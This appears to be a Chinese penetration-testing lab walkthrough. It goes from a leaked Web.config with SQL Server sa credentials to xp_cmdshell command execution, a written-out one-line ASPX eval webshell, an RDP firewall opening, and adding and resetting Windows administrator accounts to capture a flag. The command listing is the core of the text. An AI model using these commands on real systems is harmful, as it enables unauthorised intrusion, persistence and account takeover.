1,端口扫描
御剑扫描成功后,有三个端口开放
80
8080
1433
这里看到1433端口开放,应该下意识想到可以连接sql server数据库
2,目录扫描
访问8080:(一个登录页面)
同时,看看是什么操作系统;
看清操作系统,方便后续揣摩文件路径
简单尝试一下弱口令爆破,结果很明显,当然是不会让我们这么轻松就进去的啦!
先放一放,来扫一扫8080的根目录:
看到有个www.zip,访问之后会直接下载一个zip
在www.zip中的Web.config敏感文件中,可以拿到
<add key="FCKeditor:BasePath" value="/fckeditor/"/>
<add key="ConnectionString" value="server=127.0.0.1;database=oa;User Id=sa;pwd=pte_sa;"/>
<add key="AutoTask:Password" value="7D57B41E5FF578B083D151CAEECB6204"/>
同时,回想之前开放端口1433,联想到远程连接sqlserver
3,连接数据库
在这里连接数据库时,如果是win11的操作系统,可能会连接不上,一直报错,
解决:在无法远程连接sqlserver的时候
首先,下载一个win10的镜像,开启一个win10的虚拟机
然后安装navicat,在虚拟机上来远程连接10.30.1.166
虚拟机安装:
【Windows】VMware虚拟机安装Windows 10 教程_windows10虚拟机安装教程_Cappuccino-jay的博客-优快云博客
在成功连接到远程sqlserver数据库之后进入可以拿到key7
看到全是小写字母加数字,猜想应该是md5加密,
md5解密一下
回到登录页面,登录成功!nice
4,数据库写入一句话木马
在蚁剑中很多文件是无法查看的,直接返回navicat,
提前来一波命令汇总:
exec sp_configure 'xp_cmdshell',1;reconfigure
exec xp_cmdshell'dir D:\'
exec xp_cmdshell'dir dir D:\oa'
exec xp_cmdshell'echo "<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>" >D:\oa\w.aspx'
exec xp_cmdshell 'netsh firewall set portopening tcp 3389 telnet enable custom 10.1.30.8'
exec xp_cmdshell 'D:\oa\3389.exe'
exec xp_cmdshell 'D:\oa\net111.exe user LCL LCLK /add'
exec xp_cmdshell 'D:\oa\net111.exe localgroup administrators LCL /add'
exec xp_cmdshell 'D:\oa\net111.exe user administrator qwe1818432LCLK'
数据库拓展
xp_cmdshell
开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;reconfigure
执行命令
exec xp_cmdshell'dir D:\'
exec xp_cmdshell'dir dir D:\oa'
#先查看一下目录,找到木马写入的路径
在D:\oa目录下写入木马
exec xp_cmdshell'echo "<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>" >D:\oa\w.aspx'
来验证一波:
看到这样不要慌,直接蚁剑,是可以连接成功的
将3389.exe跟net111.exe上传上去
回到Navicat中提权
exec xp_cmdshell 'netsh firewall set portopening tcp 3389 telnet enable custom 10.1.30.8'
exec xp_cmdshell 'D:\oa\3389.exe'
#关闭防火墙,并打开3389端口(将3389加入到防火墙的入站规则里)
exec xp_cmdshell 'D:\oa\net111.exe user LCL LCLK /add'
exec xp_cmdshell 'D:\oa\net111.exe localgroup administrators LCL /add'
#添加用户,并把用户加入到管理员组中
(选中要执行的语句然后点击执行即可)
之后直接去远程连接,连接成功后有可能还是没有拿到key;
猜想可能只有管理员账户才可以查看,于是回来直接修改管理员密码;
尝试换为Administrator用户登录;
在windows系统之中,默认有一个Administrator的管理员用户)
exec xp_cmdshell 'D:\oa\net111.exe user administrator qwe1818432LCLK'
再次远程连接,在桌面上成功找到key,渗透完成
tips:在Navicat,命令要一句一句的执行